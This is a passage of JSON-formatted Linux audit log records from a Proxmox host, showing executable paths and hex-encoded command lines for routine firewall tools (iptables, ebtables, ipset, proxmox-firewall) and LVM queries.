{"@timestamp":1781965905761,"@rawstring":"node=pve type=PATH msg=audit(1781965905.761:67618): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095885,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.885:68422): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965905761,"@rawstring":"node=pve type=PATH msg=audit(1781965905.761:67618): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095878,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.878:68421): proctitle=697073657400726573746F7265"} {"@timestamp":1781965905761,"@rawstring":"node=pve type=PATH msg=audit(1781965905.761:67618): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095870,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.870:68420): proctitle=\"ip6tables-save\""} {"@timestamp":1781965905753,"@rawstring":"node=pve type=PATH msg=audit(1781965905.753:67617): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095863,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.863:68419): proctitle=\"iptables-save\""} {"@timestamp":1781965905753,"@rawstring":"node=pve type=PATH msg=audit(1781965905.753:67617): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095859,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.859:68418): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965905746,"@rawstring":"node=pve type=PATH msg=audit(1781965905.746:67616): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095855,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.855:68417): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965905746,"@rawstring":"node=pve type=PATH msg=audit(1781965905.746:67616): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095854,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.854:68416): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965905738,"@rawstring":"node=pve type=PATH msg=audit(1781965905.738:67615): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095854,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.854:68415): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965905738,"@rawstring":"node=pve type=PATH msg=audit(1781965905.738:67615): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965905731,"@rawstring":"node=pve type=PATH msg=audit(1781965905.731:67614): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095850,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.850:68414): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965905731,"@rawstring":"node=pve type=PATH msg=audit(1781965905.731:67614): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095843,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.843:68413): proctitle=\"ip6tables-save\""} {"@timestamp":1781965905725,"@rawstring":"node=pve type=PATH msg=audit(1781965905.725:67612): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095836,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.836:68412): proctitle=\"iptables-save\""} {"@timestamp":1781965905725,"@rawstring":"node=pve type=PATH msg=audit(1781965905.725:67612): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.829:68411): proctitle=69707365740073617665"} {"@timestamp":1781965905717,"@rawstring":"node=pve type=PATH msg=audit(1781965905.717:67611): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095822,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.822:68410): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965905717,"@rawstring":"node=pve type=PATH msg=audit(1781965905.717:67611): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095813,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.813:68409): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965905710,"@rawstring":"node=pve type=PATH msg=audit(1781965905.710:67610): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095373,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.373:68408): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965905710,"@rawstring":"node=pve type=PATH msg=audit(1781965905.710:67610): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095373,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.373:68407): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965905704,"@rawstring":"node=pve type=PATH msg=audit(1781965905.704:67609): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095373,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.373:68406): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965905704,"@rawstring":"node=pve type=PATH msg=audit(1781965905.704:67609): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095365,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.365:68405): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965905697,"@rawstring":"node=pve type=PATH msg=audit(1781965905.697:67608): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095365,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.365:68404): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965905697,"@rawstring":"node=pve type=PATH msg=audit(1781965905.697:67608): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966095365,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966095.365:68403): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965905691,"@rawstring":"node=pve type=PATH msg=audit(1781965905.691:67607): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966094697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966094.697:68402): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965905691,"@rawstring":"node=pve type=PATH msg=audit(1781965905.691:67607): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966094666,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966094.666:68401): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965905683,"@rawstring":"node=pve type=PATH msg=audit(1781965905.683:67606): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966090351,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966090.351:68400): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965905683,"@rawstring":"node=pve type=PATH msg=audit(1781965905.683:67606): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966090351,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966090.351:68399): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965905676,"@rawstring":"node=pve type=PATH msg=audit(1781965905.676:67605): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966090351,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966090.351:68398): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965905676,"@rawstring":"node=pve type=PATH msg=audit(1781965905.676:67605): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966090339,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966090.339:68397): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965905671,"@rawstring":"node=pve type=PATH msg=audit(1781965905.671:67604): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966090339,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966090.339:68396): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965905671,"@rawstring":"node=pve type=PATH msg=audit(1781965905.671:67604): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966090339,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966090.339:68395): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965905668,"@rawstring":"node=pve type=PATH msg=audit(1781965905.668:67603): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085800,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.800:68394): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965905668,"@rawstring":"node=pve type=PATH msg=audit(1781965905.668:67603): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085797,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.797:68393): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965905668,"@rawstring":"node=pve type=PATH msg=audit(1781965905.668:67602): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085795,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.795:68392): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965905668,"@rawstring":"node=pve type=PATH msg=audit(1781965905.668:67602): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085795,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.795:68391): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965905668,"@rawstring":"node=pve type=PATH msg=audit(1781965905.668:67601): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085790,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.790:68390): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965905664,"@rawstring":"node=pve type=PATH msg=audit(1781965905.664:67600): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085783,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.783:68389): proctitle=\"ip6tables-save\""} {"@timestamp":1781965905664,"@rawstring":"node=pve type=PATH msg=audit(1781965905.664:67600): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085776,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.776:68388): proctitle=\"iptables-save\""} {"@timestamp":1781965905664,"@rawstring":"node=pve type=PATH msg=audit(1781965905.664:67600): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085768,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.768:68387): proctitle=\"ip6tables-save\""} {"@timestamp":1781965905656,"@rawstring":"node=pve type=PATH msg=audit(1781965905.656:67599): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085760,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.760:68386): proctitle=\"iptables-save\""} {"@timestamp":1781965905656,"@rawstring":"node=pve type=PATH msg=audit(1781965905.656:67599): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085756,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.756:68385): proctitle=\"ebtables-restore\""} {"@timestamp":1781965905648,"@rawstring":"node=pve type=PATH msg=audit(1781965905.648:67598): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085753,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.753:68384): proctitle=\"ebtables-restore\""} {"@timestamp":1781965905648,"@rawstring":"node=pve type=PATH msg=audit(1781965905.648:67598): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085748,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.748:68383): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965905641,"@rawstring":"node=pve type=PATH msg=audit(1781965905.641:67597): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085740,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.740:68382): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965905641,"@rawstring":"node=pve type=PATH msg=audit(1781965905.641:67597): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085735,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.735:68381): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965905634,"@rawstring":"node=pve type=PATH msg=audit(1781965905.634:67596): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085728,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.728:68380): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965905634,"@rawstring":"node=pve type=PATH msg=audit(1781965905.634:67596): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085720,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.720:68379): proctitle=697073657400726573746F7265"} {"@timestamp":1781965905625,"@rawstring":"node=pve type=PATH msg=audit(1781965905.625:67595): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085713,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.713:68378): proctitle=\"ip6tables-save\""} {"@timestamp":1781965905625,"@rawstring":"node=pve type=PATH msg=audit(1781965905.625:67595): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.706:68377): proctitle=\"iptables-save\""} {"@timestamp":1781965904929,"@rawstring":"node=pve type=PATH msg=audit(1781965904.929:67594): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085701,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.701:68376): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965904929,"@rawstring":"node=pve type=PATH msg=audit(1781965904.929:67594): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085698,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.698:68375): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965904892,"@rawstring":"node=pve type=PATH msg=audit(1781965904.892:67593): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.697:68374): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965904892,"@rawstring":"node=pve type=PATH msg=audit(1781965904.892:67593): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.697:68373): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965904712,"@rawstring":"node=pve type=PATH msg=audit(1781965904.712:67592): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085692,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.692:68372): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965904712,"@rawstring":"node=pve type=PATH msg=audit(1781965904.712:67592): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085684,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.684:68371): proctitle=\"ip6tables-save\""} {"@timestamp":1781965904712,"@rawstring":"node=pve type=PATH msg=audit(1781965904.712:67591): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085674,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.674:68370): proctitle=\"iptables-save\""} {"@timestamp":1781965904712,"@rawstring":"node=pve type=PATH msg=audit(1781965904.712:67590): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085669,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.669:68369): proctitle=69707365740073617665"} {"@timestamp":1781965904706,"@rawstring":"node=pve type=PATH msg=audit(1781965904.706:67589): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085660,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.660:68368): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965904706,"@rawstring":"node=pve type=PATH msg=audit(1781965904.706:67589): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085650,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.650:68367): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965904706,"@rawstring":"node=pve type=PATH msg=audit(1781965904.706:67588): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.328:68366): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965904706,"@rawstring":"node=pve type=PATH msg=audit(1781965904.706:67587): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.328:68365): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965900934,"@rawstring":"node=pve type=PATH msg=audit(1781965900.934:67586): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966085328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966085.328:68364): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965900934,"@rawstring":"node=pve type=PATH 